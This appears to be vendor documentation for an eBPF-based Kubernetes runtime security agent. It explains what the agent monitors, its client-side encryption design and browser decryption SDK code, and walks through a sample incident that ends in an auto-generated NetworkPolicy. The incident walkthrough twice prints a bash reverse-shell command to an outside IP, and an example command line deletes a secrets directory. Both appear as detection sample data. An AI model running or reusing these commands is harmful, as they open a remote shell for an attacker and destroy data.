⚡

Tier 3 Deployment & Customer Guide

Overview

Tier 3 (codename EcheDeep) is EchelonGraph's eBPF-based runtime security agent. It runs entirely on your Kubernetes cluster and feeds telemetry to your EchelonGraph SaaS tenant — encrypted with your own keys before it ever leaves your environment.

> Zero-knowledge by design. Your raw traffic, process events, and runtime findings are encrypted on-host with a per-event Data Encryption Key (DEK), wrapped under your customer-managed KMS key (AWS / GCP / Vault), and shipped as ciphertext. EchelonGraph SaaS stores ciphertext + indexed metadata only. Without your KMS, we cannot decrypt.

Shipped capabilities (chart 0.6.8 · agent 1.19.8):

  • T3.0 — Helm chart + ZK pipeline + agent enrollment
  • T3.1 — eBPF multi-hook (XDP + TC + tracepoints) with safety scanner
  • T3.2 — PII auto-stripping (11 default rules) + envelope encryption
  • T3.3 — Shadow API discovery (HTTP/2, gRPC, GraphQL, WebSocket, TLS-SNI)
  • T3.4 — Runtime threat detection — 16 syscall tracepoints + eBPF-LSM (race-free, MAC-level) + file-integrity monitoring + container drift, MITRE ATT&CK-mapped
  • T3.5 — ML anomaly detection (24h baseline + EWMA + 5 rules)
  • T3.6 — Threat intelligence (abuse.ch URLhaus + Feodo Tracker, CISA KEV, custom STIX 2.1 / TAXII 2.1)
  • T3.7 — Auto-remediation (15 K8s + Terraform patch templates (6 K8s + 9 Terraform), GitHub PR mode, Slack notifications)
  • T3.8 — Hardware KMS (AWS / GCP / Vault) with async DEK rotation
  • T3.9 — Custom compliance framework builder (DORA / NIS2 / CMMC / FedRAMP templates)
  • T3.10 — Enterprise packaging (Helm OCI, Grafana dashboard, 11 PrometheusRule alerts, air-gap bundle)
  • T3.11 — Browser SDK (Vault Transit) — TypeScript SDK using Web Crypto API for in-browser ZK decryption; backend GET /api/v1/zk/config; migration 045 tenant_zk_config table; admin PUT/DELETE for provider config
  • T3.12 — Browser SDK AWS KMS — hand-rolled SigV4 signer (Web Crypto HMAC-SHA256), ~7 KB gzipped; auth via Cognito Identity Pool / AssumeRoleWithWebIdentity / IAM Roles Anywhere
  • T3.13 — Browser SDK GCP Cloud KMS — REST + bearer-token, ~3 KB gzipped; auth via Google Identity Services / Workload Identity Federation
  • T3.14 — Encrypted-Traffic Analysis (ETA) — JA3 / JA4 TLS fingerprinting, known-bad C2 correlation, fingerprint drift + beaconing, and server-certificate posture, computed from the plaintext TLS handshake (no decryption, no in-process agent, every TLS stack)
  • T3.15 — ETA hardening — truncation-tolerant SNI extraction, malicious-SNI correlation (T3.6-IOC-SNI), cert hostname-mismatch, and a kernel-5.18+ frag-aware deep-capture path (bpf_xdp_load_bytes, finer tiers) capturing mid-size certs the power-of-two prefix truncated, with a graceful fallback on older kernels

Requirements & Compatibility

Tier 3 is an eBPF agent, so it has hard platform requirements. Check these before deploying — most failed installs are a requirement gap, not a bug.

Node / operating system

RequirementDetail
Operating systemLinux only. Windows and macOS nodes are not supported — eBPF is Linux-specific.
CPU architecturex86-64 / amd64 only. ARM64 (AWS Graviton, ARM-based clusters) is not yet supported.
Kernel5.8 or newer, with BTF. Requires CONFIG_BPF_SYSCALL, CONFIG_UPROBES, CONFIG_DEBUG_INFO_BTF (BTF) and the BPF ring buffer (5.8+). Validated through kernel 6.17. Kernels built without BTF will not load the agent.
BPF filesystemThe host must allow mounting bpffs at /sys/fs/bpf (the chart mounts it for you).
eBPF-LSM (optional)The deeper, race-free mandatory-access-control hooks activate only on nodes booted with lsm=bpf in the kernel command line (and CONFIG_BPF_LSM=y). Most managed clusters (GKE / EKS / AKS) don't enable it by default — the agent then runs on syscall tracepoints, the full detection baseline. It's additive hardening where available; no action required.

Kubernetes

RequirementDetail
WorkloadA DaemonSet (one agent per node) plus a small, unprivileged master Deployment.
Host accesshostPID, hostNetwork, and read-only host mounts of /sys, /proc and /sys/fs/bpf.
PodSecurityAt least the baseline PodSecurity level, with privilege escalation permitted (required for the non-root file-capability model). A fully-restricted PodSecurity namespace cannot run *any* eBPF agent — grant a scoped exception for the agent's namespace.
GKE AutopilotNot supported — Autopilot blocks hostNetwork + privileged pods. Deploy on a Standard cluster.
Container runtimecontainerd or CRI-O — the runtime must honor file capabilities.

Privileges — no root required

The agent runs non-root (UID 65532) using file capabilities on the binary: CAP_BPF, CAP_PERFMON, CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_RESOURCE and CAP_SYS_PTRACE. Running as root, or with privileged:true, are opt-in fallbacks for restrictive runtimes only.

Resources & networking

  • ~0.1–0.5 vCPU and 192–512 MiB memory per node for the agent DaemonSet.
  • Outbound TLS to ingest.echelongraph.io:443 (or your self-hosted ingester for air-gapped clusters). Corporate HTTP / SOCKS5 proxies are supported via chart values.
  • The agent auto-detects the node's primary network interface for XDP/TC (ens5 on AWS, ens4 on GCP, eth0 on-prem); pin a specific name only on multi-NIC hosts.

What Tier 3 Monitors

A precise map of what the agent sees, what it doesn't, and why — so there are no surprises. "Covered" signals are validated on real clusters.

SignalStatusHow it works — or why not
Network flows (L3/L4)✅ FullXDP + TC lift every packet's metadata (5-tuple, bytes, flags, direction). No library or TLS dependency.
TLS SNI + handshake metadata✅ FullParsed from the ClientHello regardless of TLS stack — captured even where we can't decrypt the body, and the foundation for Encrypted-Traffic Analysis (below).
TLS fingerprinting (JA3 / JA4)✅ FullComputed from the plaintext ClientHello for every TLS stack — including the pure-JSSE Java, NSS and kTLS runtimes we can't decrypt. Identifies the client TLS library; GREASE-filtered per RFC 8701.
Malware-C2 fingerprint + SNI correlation✅ FullA known-bad JA3 feed flags Cobalt Strike / Sliver / other malware TLS stacks talking C2 over HTTPS; the TLS SNI is also matched against the malicious-domain feed (→ T3.6-IOC-SNI), catching known-bad destinations even where the DNS query wasn't seen. No decryption required.
TLS fingerprint drift✅ FullA warmed-up workload's first never-seen JA4 = a new TLS stack now running in the pod: an injected or dropped tool (MITRE T1105).
C2 beaconing✅ FullHighly regular connection timing to a destination (low jitter over many callbacks) — the signature of automated command-and-control (MITRE T1071.001).
Server-certificate posture + mismatch✅ TLS 1.2Self-signed, expired, not-yet-valid, or wrong-host (the cert isn't valid for the requested SNI) server certificates on outbound connections — a classic C2 / TLS-interception signal (MITRE T1573).
Decrypted L7 (HTTPS request/response bodies)✅ Most runtimesuprobes at the TLS-library boundary: OpenSSL/BoringSSL (C/C++, Python, Node.js, Ruby, PHP, Rust), GnuTLS, and Go crypto/tls (client + server, including stripped production binaries). Java via a system-OpenSSL provider too.
Shadow / undocumented APIs✅ FullReconstructed from decrypted L7 + flow metadata — surfaces HTTP/2, gRPC, GraphQL, WebSocket and TLS-SNI endpoints.
Process execution + 16 security syscalls✅ FullTracepoints on execve/execveat, ptrace, setns/unshare/mount, bpf, module load/unload, memfd_create, bind, fchmodat and more — MITRE ATT&CK-mapped. No library dependency.
eBPF-LSM (race-free, MAC-level)✅ Where lsm=bpfbprm_check_security / socket_connect / bpf / task_fix_setuid LSM hooks — deeper and race-free. Activates only on nodes booted with lsm=bpf; falls back gracefully to the tracepoints otherwise.
File-integrity monitoring (FIM)✅ FullWrites to config + persistence paths: passwd, shadow, sudoers, cron, systemd units, ld.so.preload, authorized_keys, PAM.
Container drift✅ FullExec of a binary from an ephemeral / writable path (/tmp, /dev/shm, /var/tmp) — a dropped-tool signal.
Threat-intel IOC matches✅ FullLive CISA KEV + abuse.ch feeds matched against runtime connections and files.
ML anomaly detection✅ FullA 24-hour per-namespace baseline + EWMA over the same telemetry.
DNS queries✅Captured.
DNS responses❌Not captured — the query already carries the signal; responses add little.
Decrypted L7 — pure-JSSE / async-SSLEngine Java⏳ RoadmapJava's TLS runs in pure JVM bytecode with no native symbol for eBPF to hook. Full L7 needs a companion JVM agent (planned). Flow + SNI are still captured.
Decrypted L7 — NSS (Firefox-family)❌NSS exposes no TLS-specific native symbol we can hook without *also* lifting non-TLS plaintext — which would break the zero-knowledge promise. Flow + SNI still captured.
Decrypted L7 — kernel-TLS (kTLS) offload⏳ RoadmapA separate kernel-side hook; niche (nginx / kernel-bypass setups). Flow + SNI still captured.
Fileless, syscall-free in-memory activity❌If it issues no new syscall, eBPF has nothing to hook. (Note: fileless *exec* via memfd / execveat is caught.)
Same-privilege kernel rootkits below our probes❌Code that hooks beneath our tracepoints/LSM can hide from any eBPF sensor — an inherent limit of the technology, not this product.
Your plaintext, readable by EchelonGraph❌ By designEverything is PII-stripped and encrypted with your KMS key on the node; we store ciphertext only. This is the guarantee, not a gap.

Encrypted-Traffic Analysis (ETA) — the JA3/JA4, drift, beaconing and certificate rows above are security signal extracted from the TLS *handshake*, which is plaintext on the wire. They need no decryption and no in-process agent, so they cover every TLS stack — turning even the runtimes we can't decrypt (pure-JSSE Java, NSS, kTLS) into actionable detections. We inspect what a workload's TLS stack reveals about itself, never the application payload.

Known Limitations

We'd rather you know these up front than have them surprise you:

  • Encrypted L7 (HTTPS) plaintext capture spans OpenSSL / BoringSSL, GnuTLS, and Go crypto/tls — covering essentially every runtime: C/C++, Python, Node.js, Ruby, PHP and Rust (OpenSSL/BoringSSL), GnuTLS-based tooling, and Go services — client and server, including stripped production binaries (server-side reads via the RET-instruction technique; stripped binaries resolved through .gopclntab). Java using a system-OpenSSL TLS provider (Tomcat-APR, WildFly-OpenSSL) is covered through the same hooks. Still metadata-only — connection + SNI + flow, with full-L7 on the roadmap: pure-JSSE and async-SSLEngine Java (no native symbol to hook — a companion JVM agent is planned), NSS (Firefox-family — no TLS-specific export we can hook without also lifting non-TLS data), and kernel-TLS (kTLS) offload.
  • Traffic with no instrumentable TLS library is observed at the flow + SNI level only, by design. We never terminate TLS or hold your keys.
  • XDP packet capture records a bounded prefix of each payload. On kernel 5.18+ a frag-aware deep-capture path (bpf_xdp_load_bytes) extends this to mid-size server certificates; older kernels keep the power-of-two prefix and fall back gracefully. Server-certificate posture (ETA) is still TLS 1.2 only (TLS 1.3 encrypts the certificate), and capture is per-packet — a cert/handshake flight larger than one network frame (~1.5 KB) would need TCP reassembly. JA3/JA4 fingerprinting, drift and beaconing are unaffected, since the ClientHello fits the prefix.
  • The eBPF-LSM layer (race-free, MAC-level detection) requires lsm=bpf in the node's kernel command line (and CONFIG_BPF_LSM=y) — most managed clusters (GKE / EKS / AKS) don't enable it by default. Without it the agent runs on syscall tracepoints, which is the full detection baseline; the LSM hooks are additive hardening, not a prerequisite.
  • Under an extreme syscall burst the bounded per-node event buffer can drop individual events — sustained or repeated activity is reliably detected, but a single one-shot syscall during a saturation spike may be missed.
  • Inherent eBPF blind spots: truly syscall-free in-memory activity (fileless exec via memfd / execveat *is* detected), same-privilege kernel rootkits that hook below our probes, and DNS *responses* (queries are captured).
  • Fully air-gapped clusters require a self-hosted ingester and won't receive the live public threat-intel feeds unless you mirror them internally.

Zero-Knowledge Architecture — what we see vs. what we don't

The single most-asked question from prospective customers is: *"What can EchelonGraph staff actually read about my workloads?"* Honest answer:

What we see (indexed metadata)

  • Tenant ID + agent ID + pod ID + namespace name
  • Rule ID of every emitted finding (e.g. T3.4-PROC-REVERSE-SHELL, T3.6-IOC)
  • Severity + MITRE ATT&CK technique tag
  • Timestamp + event count
  • Wrapped DEK (your KMS-encrypted key — useless to us without your KMS)
  • Ciphertext payload of the actual event detail

What we cannot decrypt without your KMS

  • Process command lines (/bin/bash -c "rm -rf /etc/secrets") — encrypted
  • Destination IP addresses of network connections — encrypted
  • HTTP request paths + headers — encrypted (PII headers stripped before encryption)
  • File paths accessed by sensitive processes — encrypted
  • Shell environment variables — encrypted
  • TLS SNI hostnames + DNS query targets — encrypted

But how do alerts work if you can't read our data?

This is the most-asked question, and the answer is straightforward: detection happens on your servers, before encryption. The EchelonGraph agent on your host runs the ML anomaly engine, process monitoring rules, threat-intel matching, shadow API discovery, and all detection logic — locally, while the data is still in plaintext. By the time anything reaches our cloud, the *decision* ("is this suspicious?") has already been made.

Each finding has two parts:

PartEncrypted?What we use it for
MetadataNo (plaintext)Routing alerts to Slack/PagerDuty/email/webhooks, populating dashboards, computing compliance scores, threshold-based alerting, MITRE ATT&CK heatmaps
PayloadYes — locked with your KMSOnly forensic investigation — your analyst unlocks it in their browser when they click "view details"

What's in the metadata (we read this freely, this is what powers your alerts):

  • Rule ID (e.g. T3.4-PROC-REVERSE-SHELL, T3.6-IOC-NET, T3.5-ANOM-TRAFFIC-SPIKE)
  • Severity (critical / high / medium / low)
  • MITRE ATT&CK technique tag (e.g. T1059.004 shell + scripting)
  • Timestamp + event count
  • Tenant ID, agent ID, pod name, namespace
  • Confidence score (0–1)

What's in the encrypted payload (we cannot read this):

  • Process command lines (e.g. /bin/bash -c "rm -rf /etc/secrets")
  • File paths accessed by sensitive processes
  • Destination IP addresses + DNS query targets
  • HTTP request bodies + headers (with PII auto-stripped before encrypt)
  • TLS SNI hostnames
  • Shell environment variables

So when your alert fires saying **"5 reverse-shell attempts in production namespace in the last 10 minutes"**, the count + rule + namespace are all plaintext metadata. We can route the alert. When the on-call analyst clicks the alert and wants to see *which* processes triggered it — that's when their browser unlocks the encrypted payload via your KMS.

> Why this split is the right call. Detection logic is > heavy compute and needs the raw data — running it close to the data > (on your host) is faster and more accurate. Alert routing is > orchestration; it just needs to know "something fired" plus a few > metadata fields. Investigation is rare (1–2% of findings); it's > reasonable for those to require an extra step (browser unlock). > The trade-off: we lose the ability to retroactively re-run detection > on old data — that has to happen on your host with a fresh agent > version.

How your data stays private — end-to-end

In a single picture: data is locked the moment it's collected on your servers, only the locked version is sent to us, and the only place it ever gets unlocked is inside your analyst's browser — using a key that comes directly from your encryption service, not from us.

The simple version: Your data gets locked the moment it's collected on your servers. We only ever see the locked version. The only place it gets unlocked is inside your analyst's browser — and the unlock key comes directly from your encryption service, not from us. If we vanished tomorrow, what we have is permanently unreadable.

Your encryption service

YOU CONTROLAWS · GCP · Vault

In your cloud account, never EchelonGraph's. Both step 1 (your agent) and step 3 (your analyst's browser) call this service directly to lock and unlock data. We never call it. We never have a copy of the key.

  • Your master key NEVER leaves your account
  • All locking & unlocking happens in your KMS hardware
  • Every unlock is written to your KMS audit log

Your servers

YOU CONTROL

EchelonGraph agent runs here

  • Watches what's happening on your computers
  • Locks each piece of data the moment it's collected
  • Calls YOUR encryption service to lock the key — never us
Encrypted data sent over secure channel
(no plaintext ever leaves your servers)

EchelonGraph cloud

ECHELONGRAPH SAAS

We only ever see locked data

  • Stores locked data plus the alert metadata (when, what type)
  • Cannot unlock — we don't have your key
  • Even a database breach keeps your data unreadable
Encrypted data sent to dashboard
(still locked at this point)

Your analyst's browser

YOU CONTROL

The only place data gets unlocked

  • Browser unlocks the data key by calling YOUR KMS directly
  • The unlock request never passes through EchelonGraph
  • Key wiped from browser memory the moment they navigate away
🔒Locked = encrypted, unreadable without your key
🔓Unlocked = readable, only inside your browser
📦Locked data travelling over a secure channel
🔐Your encryption service — never EchelonGraph's

Why we can't read your data, even if we wanted to

This isn't a marketing claim — it's how the system is built. Every statement below is something you can independently verify, either with your cloud provider, with your browser's developer tools, or by reading our open-source code.

How to know we're telling the truth: Every claim below is something you can independently check — with your cloud provider, with browser developer tools, or by reading our open-source code. None of these require taking our word for anything.

Your master key never leaves your account

EchelonGraph never has a copy of your encryption key. It stays inside your AWS, GCP, or Vault account — locked in tamper-resistant hardware, like a physical safe.

How to verifyAsk your cloud provider: "Can my master key ever be exported?" Answer: no — by design.

Backed by

  • We only call your encryption service to lock and unlock data — we never receive the key itself
  • Your provider's hardware physically prevents the key from being copied out
  • Even our own staff would have nothing to leak in a worst-case breach

Decryption happens in your browser, not on our servers

When your analyst clicks "view details", their browser unlocks the data directly. The unlock request goes from their computer straight to your encryption service — it never passes through us.

How to verifyOpen your browser's developer tools (F12) → Network tab → click a finding. You'll see the unlock request going to your cloud provider, NOT to echelongraph.io.

Backed by

  • Your browser → your AWS / GCP / Vault, direct, no proxy
  • EchelonGraph is offline during decryption — we don't see the unlocked data
  • Your corporate firewall logs will confirm this independently

Even if EchelonGraph vanished, your data stays safe

We only ever store the locked version. If our company shut down tomorrow, what we hold remains permanently unreadable to anyone — including any future buyer, our former employees, or anyone who breaches our database.

How to verifyTest it: block app.echelongraph.io in your firewall for a day. Your scrambled data sits in our DB, can't be read by anyone, ever.

Backed by

  • We can't be subpoenaed into producing plaintext we don't have
  • Court orders against us don't bypass your encryption — they hit a wall
  • Built-in compliance with GDPR Art. 25 (data minimisation), DPDP, EU DORA, US CMMC 2.0

Every unlock is recorded in your audit trail

Your cloud provider logs every single time anyone unlocks a piece of your data — including which person unlocked it. The logs always show your team members' names, never EchelonGraph's, because we never make the call.

How to verifyCheck AWS CloudTrail / GCP Cloud Audit Logs / Vault audit log. Filter for "Decrypt" calls — every one will show your analyst's email address.

Backed by

  • Logs are written by your provider, not by us — we can't tamper with them
  • If our staff ever decrypted your data, the log would prove it (and we'd be in violation)
  • Many auditors accept this log as standalone proof of zero-knowledge

The decryption code is open-source — verify it yourself

The exact code that runs in your browser to unlock data is published under Apache 2.0. Any developer on your team can read every line. We've also published 111 automated tests showing what it does.

How to verifyRead the source at frontend/src/lib/zkdecrypt/ in our public repo. If your security team prefers, copy it into your own dashboard — it'll work the same.

Backed by

  • Tests prove the wire format, the auth flow, and that keys are wiped from memory
  • Pull request history shows every change to the security-critical code
  • Your team can audit, fork, or replace it without permission from us

How your dashboard actually calls your KMS to unlock data

The diagram above shows the flow at the architecture level. Here's the same flow at the code level — what your developer wires into your dashboard. The pattern is the same shape for every provider: your dashboard's auth layer fetches a token or credentials from the customer's IdP, then hands them to the SDK's React hook. The SDK calls the customer's KMS directly when an analyst clicks "view locked details" — never through EchelonGraph.

What this looks like in code: Each provider works the same way from the dashboard's perspective: (1) your dashboard's auth layer fetches a token or credentials from the customer's IdP, then (2) hands them to the SDK's React hook. The SDK then calls the customer's KMS directly when an analyst clicks view locked details. Pick the tab for your environment.

How HashiCorp Vault works: Customer signs into Vault via OIDC; dashboard captures the X-Vault-Token and passes it to the SDK.

Step 1 · in your dashboard's auth layer

1. Get a Vault token by signing the user into Vault via your IdP (Okta / Azure AD / Auth0 / Google Workspace) using Vault's OIDC auth method.

// In your dashboard's auth layer
async function getVaultToken(): Promise<string> {
  // Your IdP returns an OIDC code for the signed-in user.
  // Vault exchanges it for a Vault token.
  const oidcCode = await window.myIdP.getOidcCode();

  const res = await fetch(
    "https://vault.your-company.com/v1/auth/oidc/login",
    { method: "POST", body: JSON.stringify({ code: oidcCode }) }
  );
  const json = await res.json();

  return json.auth.client_token; // valid for ~1 hour by default
}
Step 2 · hand the credentials to the SDK

2. Use the token in a dashboard component. The SDK sends it as X-Vault-Token directly to YOUR Vault — no proxy through EchelonGraph.

import { useZkConfig, useZkDecrypt } from "@echelongraph/zkdecrypt";

function FindingDetail({ finding, jwt }) {
  const [vaultToken, setVaultToken] = useState<string | null>(null);
  useEffect(() => { getVaultToken().then(setVaultToken); }, []);

  const { config } = useZkConfig(jwt);             // GET /api/v1/zk/config
  const { decrypt } = useZkDecrypt(config, {
    vaultToken: vaultToken ?? "",                  // your token, not ours
  });

  return (
    <button onClick={async () => {
      const { plaintext } = await decrypt({
        envelope:  finding.encryptedPayload,       // from EchelonGraph API
        tenantId:  finding.tenantId,
        agentId:   finding.agentId,
      });
      // Decryption happened in this browser; plaintext is a Uint8Array
      console.log(new TextDecoder().decode(plaintext));
    }}>
      View locked details
    </button>
  );
}
Things to know
  • Vault token is short-lived — the SDK surfaces 401/403 as kms_auth_failed; re-prompt for OIDC login when you see that
  • Your customer's IAM grants Vault Transit decrypt permission on the configured key — check your Vault audit log to see every unlock

For the complete API reference (envelope wire format, error codes, retry policy, browser/Node compatibility, dispose lifecycle, & admin write endpoint to configure your KMS), see /docs/tier3-zk-decryption. The SDK source is open under Apache 2.0 at frontend/src/lib/zkdecrypt/.

A complete incident — end-to-end with realistic data

Everything above is architecture and code. Here's what an actual production incident looks like, step by step, with real-shaped sample data at every layer of the pipeline. Follow the timeline from kernel-level eBPF detection through to GitHub-PR-driven auto- remediation. Watch the green boxes (data we can read freely) and the red boxes (data we cannot read at all) — that contrast is the entire zero-knowledge promise made concrete.

Real incident — end-to-end walkthrough. A reverse-shell attempt is launched from a compromised pod in Acme Corp's production cluster. Below: every system event from kernel-level detection through to auto-remediation, with the actual data each party sees at every step. Pay attention to which boxes are green (we read freely) versus red (we cannot read at all).
  1. T+0.000sYour host (worker-3.acme-prod)·eBPF kernel hook

    Reverse-shell process spawns inside a production pod

    At 14:32:07.123 UTC, the gunicorn worker in the checkout-api deployment forks a new bash process. The eBPF tracepoint hook on the customer's host captures the execve system call and forwards it to the EchelonGraph agent for evaluation.
    Raw kernel event (only on customer's host)✓ Plaintext
    PID:    3847
PPID:   3128 (gunicorn)
Comm:   bash
Args:   /bin/bash -c "bash -i >& /dev/tcp/198.51.100.74/4444 0>&1"
Cwd:    /tmp
UID:    33 (www-data)
Pod:    checkout-api-pod-7b9c
NS:     production
Node:   worker-3.acme-prod
    This data NEVER leaves the host in plaintext.
  2. T+0.012sEchelonGraph agent (Tentacle DaemonSet)·Detection engines run locally

    Two detection rules fire on the customer's host

    The agent evaluates the event against every Tier 3 detection engine, all running locally on the customer's host with full plaintext access. Two rules match: the process-monitor flags the bash command line as a reverse shell (T3.4), and the threat-intel matcher recognises the destination IP from the abuse.ch / CISA KEV feeds (T3.6).
    Local detection result (still on host, plaintext)✓ Plaintext
    rules_matched: [T3.4-PROC-REVERSE-SHELL, T3.6-IOC-MATCH]
mitre_technique: T1059.004  (Unix Shell)
severity: critical
confidence: 0.97
ioc_source: abuse.ch URLhaus + CISA KEV
finding_id: f-9d4e2a17
event_count: 1
    Detection logic runs in-process on the host. By this point the verdict is already final — EchelonGraph cloud never participates in detection.
  3. T+0.018sEchelonGraph agent·Encrypt + ship

    Agent locks the sensitive payload before shipping

    The agent generates a fresh 32-byte data key (DEK), AES-256-GCM encrypts the sensitive details (command line, file paths, destination IP, etc.), and asks the customer's KMS to wrap the DEK. The wrapped DEK plus ciphertext are bundled with the plaintext metadata and shipped over TLS 1.3 gRPC.
    Plaintext metadata sent to EchelonGraph✓ Plaintext
    {
  "tenant_id":       "acme-corp",
  "agent_id":        "tentacle-worker-3",
  "rule_id":         "T3.4-PROC-REVERSE-SHELL",
  "severity":        "critical",
  "mitre_technique": "T1059.004",
  "ts":              "2026-05-07T14:32:07.123Z",
  "pod":             "checkout-api-pod-7b9c",
  "namespace":       "production",
  "confidence":      0.97,
  "ioc_match":       "T3.6-IOC-MATCH",
  "event_count":     1
}
    EchelonGraph reads this freely — it's how alerts get routed.
    Encrypted payload (locked with the customer's KMS)🔒 We CANNOT read
    nonce      (12 bytes hex):  a3f2e1c509bb47c1d4e832af
ciphertext (245 bytes b64): kJh3T9xQ4Z2wL1vPdR8mN0yQp7Vk
                            sB8xJq2fT5rY3wHmN9pK4tA0iL6e
                            ... (truncated, 245 bytes total)
AEAD tag   (16 bytes hex):  e1f8d3c4b29a5e6708d2f4a1
wrapped-DEK (KMS blob):     AQECAHj8H5jK4Z9wL...
    Without the customer's KMS key, this is just random bytes — even our own DBA can't reconstruct the command line.
  4. T+0.450sEchelonGraph cloud·Ingester → CloudSQL + ClickHouse

    EchelonGraph stores the row — ciphertext stays opaque to us

    The Ingester validates the wire format, writes the metadata columns to Postgres for the alert layer to query, and pushes the ciphertext + wrapped-DEK to ClickHouse with a 90-day retention TTL. We index every metadata field for routing, compliance reporting, and dashboard queries.
    Stored row (what an EchelonGraph engineer can SELECT)✓ Plaintext
    tenant_id          | acme-corp
rule_id            | T3.4-PROC-REVERSE-SHELL
severity           | critical
mitre_technique    | T1059.004
ts                 | 2026-05-07 14:32:07.123
pod                | checkout-api-pod-7b9c
namespace          | production
confidence         | 0.97
ioc_match          | T3.6-IOC-MATCH
encrypted_payload  | \xa3f2e1c509bb...e1f8d3c4   ← unreadable
wrapped_dek        | \xAQECAHj8H5jK4Z9wL...      ← unreadable
    Our staff can run analytics on metadata. The two unreadable columns are what protects you.
  5. T+0.620sEchelonGraph alert manager·Slack / PagerDuty / webhook routing

    Alert fires — built entirely from plaintext metadata

    A pre-configured rule (“CRITICAL severity in production namespace”) matches. Alert manager builds a Slack message using the metadata fields only and POSTs it to the customer's Slack webhook. The encrypted payload is not touched.
    Slack message that fires in #soc-prod-alerts✓ Plaintext
    🚨 CRITICAL: Reverse shell in production
   Tenant: acme-corp · Pod: checkout-api-pod-7b9c
   Namespace: production · Confidence: 97%
   MITRE: T1059.004 (Unix Shell)
   IOC match: known C2 from abuse.ch URLhaus
   Time: 2026-05-07 14:32:07 UTC

   [Investigate ↗]  [Acknowledge]  [Auto-remediate]
    The Slack message has zero plaintext details from the encrypted payload. Routing works fine without us reading anything.
  6. T+27sAlice (SOC analyst)·Opens app.echelongraph.io/findings/f-9d4e2a17

    Analyst opens the dashboard from the Slack alert

    Alice clicks [Investigate ↗] in Slack. Her browser navigates to app.echelongraph.io, the SPA loads, the dashboard fetches the finding. The metadata renders immediately — but the “What process ran?”, “Where did it connect?”, and “Full command-line” sections show a 🔒 Locked — click to unlock placeholder.
  7. T+30sBrowser SDK (frontend/src/lib/zkdecrypt)·Calls Alice's Vault DIRECTLY

    Browser unlocks the data key via Vault — bypasses EchelonGraph

    Alice clicks “view locked details”. Her browser already has a Vault token from this morning's OIDC sign-in (cached in sessionStorage). The SDK POSTs the wrapped DEK to vault.acme.com directly. Vault unwraps it inside its HSM and returns the plaintext DEK. The SDK runs AES-GCM decrypt in the browser using Web Crypto API. Plaintext renders. zeroBytes(DEK) wipes the key from JS heap.
    Browser → Vault POST (visible in DevTools Network tab)🔐 Customer's KMS
    POST https://vault.acme.com/v1/transit/decrypt/echelongraph
X-Vault-Token: hvs.CAESI...       ← Alice's OIDC-derived token
Content-Type: application/json

{
  "ciphertext": "vault:v1:AQECAHj8H5jK4Z9wL..."  ← wrapped DEK
}

← Response from Vault:
{
  "data": { "plaintext": "kJh3T9xQ4Z2wL1vPdR8mN0y..." }
}
    Open Alice's DevTools Network tab and you'll see this exact request going to vault.acme.com — NOT to echelongraph.io.
    Plaintext rendered in Alice's browser (and only there)✓ Plaintext
    Process command line:
  /bin/bash -c "bash -i >& /dev/tcp/198.51.100.74/4444 0>&1"

Working directory: /tmp
UID: 33 (www-data) — gunicorn's own user, no privilege escalation
PID: 3847 · Parent: gunicorn (PID 3128)
Destination: 198.51.100.74:4444

IOC source: abuse.ch URLhaus
First seen: 2026-04-22 — known C2 for "RedShell" toolkit
    This text exists only in Alice's browser tab memory. When she navigates away, dispose() wipes it.
  8. T+30.5sAcme's Vault audit log·Records the unlock with caller identity

    Vault writes an audit-log entry — proving Alice unlocked it, not us

    Vault's audit log records every Decryptcall with the caller's federated identity. Acme's SOC team (or external auditor) can grep this log to confirm that EchelonGraph staff have never made a decrypt call against their key.
    Acme's Vault audit log (their copy, written by their Vault)📜 Customer's log
    2026-05-07 14:32:37 UTC — vault.transit.decrypt
  caller_id:   alice@acme-corp.com
  auth_method: oidc/okta
  key_name:    echelongraph
  success:     true
  request_id:  7c45-ab12-9e30-4f15
  remote_addr: 203.0.113.45 (Alice's office IP)
    The caller_id is Alice's IdP identity — never an EchelonGraph staff identity, because we never make the call.
  9. T+45sAuto-remediation engine (T3.7)·Generates IaC patch + opens GitHub PR

    Alice triggers auto-remediation — a NetworkPolicy PR opens

    Alice clicks Auto-remediate. The remediation engine selects the K8s NetworkPolicy template (matching the finding's category), substitutes the offending pod labels, and opens a GitHub PR in acme-corp/infra-iac. Alice (admin role) clicks Merge → ArgoCD applies the policy → the compromised pod loses egress in < 60 seconds.
    Auto-generated NetworkPolicy (committed to acme-corp/infra-iac)✓ Plaintext
    apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-egress-checkout-api-incident-f9d4e2a17
  namespace: production
  annotations:
    echelongraph.io/finding: f-9d4e2a17
    echelongraph.io/rule:    T3.4-PROC-REVERSE-SHELL
spec:
  podSelector:
    matchLabels:
      app: checkout-api
  policyTypes: [Egress]
  egress: []   # deny all outbound traffic
    PR opened by github-app/echelongraph-bot · approved by alice@acme-corp.com · merged at 14:33:41 · ArgoCD synced at 14:34:09.
End-to-end recap — total elapsed: 45 seconds

Detection ran on Acme's host (T+0 to T+18 ms). Encryption + ship took ~430 ms over TLS 1.3 gRPC. Alert routed to Slack 620 ms after the kernel event. Alice opened the dashboard, unlocked the encrypted payload via her own Vault, triggered remediation, and had the compromised pod isolated within a minute. Throughout the entire incident, EchelonGraph never read the bash command line, the destination IP, or any other detail of the actual exploit— only the metadata needed to route the alert. Acme's Vault audit log proves it: every Decrypt call shows alice@acme-corp.com as the caller, never an EchelonGraph identity.

Two decryption paths

Browser SDK (T3.11+) — the dashboard at app.echelongraph.io renders decrypted detail in the operator's browser using the open-source @echelongraph/zkdecrypt TypeScript SDK. Customer signs into their KMS via OIDC; the SDK calls the customer's Vault / AWS / GCP KMS directly from the browser to unwrap each event's DEK. EchelonGraph backend never sees the plaintext.

* Vault Transit — shipped in T3.11. * AWS KMS via SigV4 + Cognito / STS federation — shipped in T3.12. * GCP Cloud KMS via Google Identity Services / Workload Identity Federation — shipped in T3.13.

Go SDK (sdk/zkdecrypt) — for SOC pipelines, SIEM forwarders, and analytics notebooks. Customer fetches the KEK from their KMS via the provider CLI (aws kms decrypt, gcloud kms decrypt, vault read), passes it to the SDK along with the encrypted envelope, gets back plaintext. Run anywhere Go runs — Lambda, Cloud Run, on-prem worker.

Both paths share the same envelope wire format. See /docs/tier3-zk-decryption for the full SDK reference.

Verifying the property

# Inspect the ciphertext directly in your CloudSQL — should be unreadable.
gcloud sql connect ... --database=echelongraph
> SELECT id, encrypted_payload FROM tier3_findings LIMIT 1;

The encrypted_payload column is AES-256-GCM ciphertext. Even with full read access to our DB, an attacker (or an EchelonGraph employee) cannot reconstruct the underlying event.

